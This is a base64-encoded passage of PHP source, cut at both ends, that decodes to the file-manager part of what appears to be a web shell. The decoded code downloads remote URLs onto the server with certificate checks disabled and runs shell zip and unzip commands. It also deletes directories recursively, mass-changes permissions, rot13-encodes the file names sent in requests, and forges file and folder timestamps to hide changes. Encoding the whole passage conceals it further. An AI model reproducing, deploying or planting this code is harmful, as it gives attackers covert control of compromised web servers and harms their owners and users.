gICAgICAgICAgd2hpbGUgKCFAZmVvZigkZnApKSB7ICRkbERhdGEgLj0gQGZyZWFkKCRmcCwgODE5Mik7IH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGxPayA9IEBmaWxlX3B1dF9jb250ZW50cygkZGxPdXQsICRkbERhdGEpICE9PSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdjb3B5JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGxPayA9IEBjb3B5KCRkbFVybCwgJGRsT3V0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3N0cmVhbV9jb250ZXh0JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY3R4ID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZShbJ2h0dHAnID0+IFsnbWV0aG9kJyA9PiAnR0VUJywgJ3RpbWVvdXQnID0+IDYwLCAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjBcclxuIl0sICdzc2wnID0+IFsndmVyaWZ5X3BlZXInID0+IGZhbHNlLCAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2VdXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRkbFVybCwgJ3InLCBmYWxzZSwgJGN0eCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGxEYXRhID0gQHN0cmVhbV9nZXRfY29udGVudHMoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGRsRGF0YSAhPT0gZmFsc2UpIHsgJGRsT2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGRsT3V0LCAkZGxEYXRhKSAhPT0gZmFsc2U7IH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdmaWxlJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGxEYXRhID0gQGZpbGUoJGRsVXJsKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGRsRGF0YSAhPT0gZmFsc2UpIHsgJGRsT2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGRsT3V0LCBpbXBsb2RlKCcnLCAkZGxEYXRhKSkgIT09IGZhbHNlOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRkbE9rICYmIEBmaWxlX2V4aXN0cygkZGxPdXQpICYmIEBmaWxlc2l6ZSgkZGxPdXQpID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5GaWxlIHNhdmVkISAtPiAiIC4gaHRtbHNwZWNpYWxjaGFycygkZGxPdXQpIC4gIiAoIiAuICR0aGlzLT5mb3JtYXRTaXplKEBmaWxlc2l6ZSgkZGxPdXQpKSAuICIpIFsiIC4gaHRtbHNwZWNpYWxjaGFycygkZGxNZXRob2QpIC4gIl08L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPkZhaWxlZCB0byBkb3dubG9hZCBmaWxlIHVzaW5nICIgLiBodG1sc3BlY2lhbGNoYXJzKCRkbE1ldGhvZCkgLiAiPC9mb250PiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRtdGltZSkgQHRvdWNoKCRjd2QsICRtdGltZSwgJG10aW1lKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1rZGlyIjoKICAgICAgICAgICAgICAgICAgICAkbmV3RGlyID0gJGN3ZCAuIHN0cl9yb3QxMygkX1BPU1RbIngiXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFAbWtkaXIoJG5ld0RpcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Q2FuJ3QgY3JlYXRlIG5ldyBkaXI8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkRpcmVjdG9yeSBjcmVhdGVkITwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG10aW1lKSBAdG91Y2goJG5ld0RpciwgJG10aW1lLCAkbXRpbWUpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgImRlbGV0ZSI6CiAgICAgICAgICAgICAgICAgICAgJGRlbEZ1bmMgPSBmdW5jdGlvbigkcGF0aCkgdXNlICgmJGRlbEZ1bmMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSBzdWJzdHIoJHBhdGgsIC0xKSA9PSAiLyIgPyAkcGF0aCA6ICRwYXRoIC4gIi8iOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGhhbmRsZSA9IEBvcGVuZGlyKCRwYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPT0gIi4uIiB8fCAkZmlsZSA9PSAiLiIpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmID0gJHBhdGggLiAkZmlsZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2RpcigkZikpICRkZWxGdW5jKCRmKTsgZWxzZSBAdW5saW5rKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBAcm1kaXIoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19hcnJheSgkX1BPU1RbImYiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWQgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1BPU1RbImYiXSBhcyAkaXRlbSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpdGVtID09ICIuLiIpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW0gPSAkY3dkIC4gc3RyX3JvdDEzKHVybGRlY29kZSgkaXRlbSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19kaXIoJGl0ZW0pKSB7ICRkZWxGdW5jKCRpdGVtKTsgJGRlbGV0ZWQrKzsgfSBlbHNlIHsgaWYgKEB1bmxpbmsoJGl0ZW0pKSAkZGVsZXRlZCsrOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5EZWxldGVkICRkZWxldGVkIGl0ZW0ocyk8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsieCJdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaXRlbSA9ICRjd2QgLiBzdHJfcm90MTModXJsZGVjb2RlKCRfUE9TVFsieCJdKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaXNfZGlyKCRpdGVtKSkgeyAkZGVsRnVuYygkaXRlbSk7IGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+RGlyZWN0b3J5IGRlbGV0ZWQhPC9mb250PiI7IH0gZWxzZSB7IGlmIChAdW5saW5rKCRpdGVtKSkgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5GaWxlIGRlbGV0ZWQhPC9mb250PiI7IGVsc2UgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Q2FuJ3QgZGVsZXRlITwvZm9udD4iOyB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAibWFzc0NobW9kIjoKICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2FycmF5KCRfUE9TVFsiZiJdKSAmJiAhZW1wdHkoJF9QT1NUWyJjaG1vZF92YWwiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNobW9kVmFsID0gb2N0ZGVjKCRfUE9TVFsiY2htb2RfdmFsIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAkY2hhbmdlZCA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsiZiJdIGFzICRpdGVtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGl0ZW0gPT0gIi4uIikgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbSA9ICRjd2QgLiBzdHJfcm90MTModXJsZGVjb2RlKCRpdGVtKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGNobW9kKCRpdGVtLCAkY2htb2RWYWwpKSAkY2hhbmdlZCsrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+Q2hhbmdlZCBwZXJtaXNzaW9ucyBvbiAkY2hhbmdlZCBpdGVtKHMpPC9mb250PiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAibWFzc1ppcCI6CiAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19hcnJheSgkX1BPU1RbImYiXSkgJiYgIWVtcHR5KCRfUE9TVFsiemlwX25hbWUiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcE5hbWUgPSAkY3dkIC4gJF9QT1NUWyJ6aXBfbmFtZSJdOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9cLnppcCQvaScsICR6aXBOYW1lKSkgJHppcE5hbWUgLj0gJy56aXAnOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgXFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCR6aXBOYW1lLCBcWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgXFppcEFyY2hpdmU6Ok9WRVJXUklURSkgPT09IHRydWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRkVG9aaXAgPSBmdW5jdGlvbigkYmFzZVBhdGgsICRyZWxhdGl2ZVBhdGgsICR6aXApIHVzZSAoJiRhZGRUb1ppcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2RpcigkYmFzZVBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRFbXB0eURpcigkcmVsYXRpdmVQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoYW5kbGUgPSBAb3BlbmRpcigkYmFzZVBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRoYW5kbGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmaWxlID0gQHJlYWRkaXIoJGhhbmRsZSkpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRkVG9aaXAoJGJhc2VQYXRoIC4gJy8nIC4gJGZpbGUsICRyZWxhdGl2ZVBhdGggLiAnLycgLiAkZmlsZSwgJHppcCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJGJhc2VQYXRoLCAkcmVsYXRpdmVQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcHBlZCA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWyJmIl0gYXMgJGl0ZW0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpdGVtID09ICIuLiIpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbU5hbWUgPSBzdHJfcm90MTModXJsZGVjb2RlKCRpdGVtKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aCA9ICRjd2QgLiAkaXRlbU5hbWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZGRUb1ppcCgkZnVsbFBhdGgsICRpdGVtTmFtZSwgJHppcCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXBwZWQrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlppcHBlZCAkemlwcGVkIGl0ZW0ocykgdG8gIiAuIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJHppcE5hbWUpKSAuICI8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Q2FuJ3QgY3JlYXRlIHppcCBmaWxlITwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1zID0gW107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1BPU1RbImYiXSBhcyAkaXRlbSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXRlbSA9PSAiLi4iKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbXNbXSA9IGVzY2FwZXNoZWxsYXJnKHN0cl9yb3QxMyh1cmxkZWNvZGUoJGl0ZW0pKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY21kWmlwID0gImNkICIgLiBlc2NhcGVzaGVsbGFyZygkY3dkKSAuICIgJiYgemlwIC1yICIgLiBlc2NhcGVzaGVsbGFyZygkemlwTmFtZSkgLiAiICIgLiBpbXBsb2RlKCIgIiwgJGl0ZW1zKSAuICIgMj4mMSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRjbWRaaXApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkemlwTmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlppcHBlZCB0byAiIC4gaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkemlwTmFtZSkpIC4gIjwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5aaXAgZmFpbGVkISAiIC4gaHRtbHNwZWNpYWxjaGFycygkb3V0KSAuICI8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChAaXNfYXJyYXkoJF9QT1NUWyJmIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPlBsZWFzZSBlbnRlciBhIHppcCBmaWxlbmFtZSE8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJtYXNzVW56aXAiOgogICAgICAgICAgICAgICAgICAgIGlmIChAaXNfYXJyYXkoJF9QT1NUWyJmIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR1bnppcHBlZCA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsiZiJdIGFzICRpdGVtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGl0ZW0gPT0gIi4uIikgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbU5hbWUgPSBzdHJfcm90MTModXJsZGVjb2RlKCRpdGVtKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnVsbFBhdGggPSAkY3dkIC4gJGl0ZW1OYW1lOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXC56aXAkL2knLCAkZnVsbFBhdGgpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleHRyYWN0RGlyID0gJGN3ZCAuIHBhdGhpbmZvKCRpdGVtTmFtZSwgUEFUSElORk9fRklMRU5BTUUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBcWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRmdWxsUGF0aCkgPT09IHRydWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFAaXNfZGlyKCRleHRyYWN0RGlyKSkgQG1rZGlyKCRleHRyYWN0RGlyLCAwNzU1LCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRleHRyYWN0RGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVuemlwcGVkKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY21kVW56aXAgPSAidW56aXAgLW8gIiAuIGVzY2FwZXNoZWxsYXJnKCRmdWxsUGF0aCkgLiAiIC1kICIgLiBlc2NhcGVzaGVsbGFyZygkZXh0cmFjdERpcikgLiAiIDI+JjEiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5leGVjdXRlQ29tbWFuZCgkY21kVW56aXApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaXNfZGlyKCRleHRyYWN0RGlyKSkgJHVuemlwcGVkKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5VbnppcHBlZCAkdW56aXBwZWQgYXJjaGl2ZShzKTwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJG10aW1lICYmICRfUE9TVFsicCJdICE9ICJ1cGxvYWRGaWxlIikgQHRvdWNoKCRjd2QsICRtdGltZSwgJG10aW1lKTsKICAgICAgICB9CiAgICAgICAgZWNobyAiPGgxPkZpbGUgTWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiI7CiAgICAgICAgZWNobyAiPHNjcmlwdD5mdW5jdGlvbiBzaG93VG91Y2gocGF0aCxjdXJyZW50VGltZSl7dmFyIG5ld1RpbWU9cHJvbXB0KCdFbnRlciBuZXcgdGltZXN0YW1wIChZWVlZLU1NLUREIEhIOk1NOlNTKTonLGN1cnJlbnRUaW1lKTtpZihuZXdUaW1lICYmIG5ld1RpbWUhPWN1cnJlbnRUaW1lKXt2YXIgZj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7Zi5tZXRob2Q9J3Bvc3QnO2Yuc3R5bGUuZGlzcGxheT0nbm9uZSc7dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTthLm5hbWU9J2EnO2EudmFsdWU9J2ZtJztmLmFwcGVuZENoaWxkKGEpO3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7Yy5uYW1lPSdjJztjLnZhbHVlPSciIC4gJGN3ZEVuY29kZWQgLiAiJztmLmFwcGVuZENoaWxkKGMpO3ZhciBwPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7cC5uYW1lPSdwJztwLnZhbHVlPSd0b3VjaCc7Zi5hcHBlbmRDaGlsZChwKTt2YXIgdHA9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTt0cC5uYW1lPSd0b3VjaF9wYXRoJzt0cC52YWx1ZT1wYXRoO2YuYXBwZW5kQ2hpbGQodHApO3ZhciB0dD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpO3R0Lm5hbWU9J3RvdWNoX3RpbWUnO3R0LnZhbHVlPW5ld1RpbWU7Zi5hcHBlbmRDaGlsZCh0dCk7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmKTtmLnN1Ym1pdCgpO319PC9zY3JpcHQ+IjsKCiAgICAgICAgJGZpbGVzID0gJHRoaXMtPnNjYW5EaXJlY3RvcnkoJGN3ZCk7CiAgICAgICAgaWYgKCRmaWxlcyA9PT0gZmFsc2UpIHsgZWNobyAiQ2FuJ3Qgb3BlbiB0aGlzIGZvbGRlciEiOyByZXR1cm47IH0KICAgICAgICBnbG9iYWwgJHNvcnRQYXJhbXM7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbInAiXSkgJiYgQHByZWdfbWF0Y2goIiFzXyhbQS16XSspXyhcXGR7MX0pISIsICRfUE9TVFsicCJdLCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgJHNvcnRQYXJhbXMgPSBhcnJheSgkbWF0Y2hlc1sxXSwgKGludCkgJG1hdGNoZXNbMl0pOwogICAgICAgIH0KICAgICAgICBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNhKHNyYyl7dmFyIGNiPWRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCdmW10nKTtmb3IodmFyIGk9MDtpPGNiLmxlbmd0aDtpKyspe2NiW2ldLmNoZWNrZWQ9c3JjLmNoZWNrZWQ7fX08L3NjcmlwdD48Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EodGhpcyknPjwvdGg+PHRoIHdpZHRoPSczMCUnPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJmbVwiLG51bGwsXCJzX25hbWVfIiAuICgkc29ydFBhcmFtc1sxXSA/IDAgOiAxKSAuICJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcImZtXCIsbnVsbCxcInNfc2l6ZV8iIC4gKCRzb3J0UGFyYW1zWzFdID8gMCA6IDEpIC4gIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZm1cIixudWxsLFwic19tb2RpZnlfIiAuICgkc29ydFBhcmFtc1sxXSA/IDAgOiAxKSAuICJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5VUkw8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZm1cIixudWxsLFwic19wZXJtc18iIC4gKCRzb3J0UGFyYW1zWzFdID8gMCA6IDEpIC4gIlwiKSc+UGVybXM8L2E+PC90aD48dGggd2lkdGg9JzE4MHB4Jz5BY3Rpb25zPC90aD48L3RyPiI7CiAgICAgICAgJGRpcnMgPSAkZmlsZUxpc3QgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICBpZiAoJGYgPT0gJy4nIHx8ICRmID09ICcuLicpIHsKICAgICAgICAgICAgICAgIGlmICgkZiA9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZiwgInBhdGgiID0+ICRjd2QgLiAkZiwgIm1vZGlmeSIgPT4gQGRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkY3dkIC4gJGYpKSwgInBlcm1zIiA9PiAkdGhpcy0+Z2V0UGVybXNDb2xvcigkY3dkIC4gJGYpLCAic2l6ZSIgPT4gMCwgInR5cGUiID0+ICJkaXIiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpdGVtID0gYXJyYXkoIm5hbWUiID0+ICRmLCAicGF0aCIgPT4gJGN3ZCAuICRmLCAibW9kaWZ5IiA9PiBAZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRjd2QgLiAkZikpLCAicGVybXMiID0+ICR0aGlzLT5nZXRQZXJtc0NvbG9yKCRjd2QgLiAkZiksICJzaXplIiA9PiBAZmlsZXNpemUoJGN3ZCAuICRmKSk7CiAgICAgICAgICAgIGlmIChAaXNfZmlsZSgkY3dkIC4gJGYpKSAkZmlsZUxpc3RbXSA9IEBhcnJheV9tZXJnZSgkaXRlbSwgYXJyYXkoInR5cGUiID0+ICJmaWxlIikpOwogICAgICAgICAgICBlbHNlaWYgKEBpc19saW5rKCRjd2QgLiAkZikpICRkaXJzW10gPSBAYXJyYXlfbWVyZ2UoJGl0ZW0sIGFycmF5KCJ0eXBlIiA9PiAibGluayIsICJsaW5rIiA9PiByZWFkbGluaygkaXRlbVsicGF0aCJdKSkpOwogICAgICAgICAgICBlbHNlaWYgKEBpc19kaXIoJGN3ZCAuICRmKSkgJGRpcnNbXSA9IEBhcnJheV9tZXJnZSgkaXRlbSwgYXJyYXkoInR5cGUiID0+ICJkaXIiKSk7CiAgICAgICAgfQogICAgICAgICRjbXBGdW5jID0gZnVuY3Rpb24oJGEsICRiKSB7CiAgICAgICAgICAgIGdsb2JhbCAkc29ydFBhcmFtczsKICAgICAgICAgICAgaWYgKCRhWyJuYW1lIl0gPT0gIi4uIikgcmV0dXJuIC0xOwogICAgICAgICAgICBpZiAoJGJbIm5hbWUiXSA9PSAiLi4iKSByZXR1cm4gMTsKICAgICAgICAgICAgaWYgKCRzb3J0UGFyYW1zWzBdICE9IC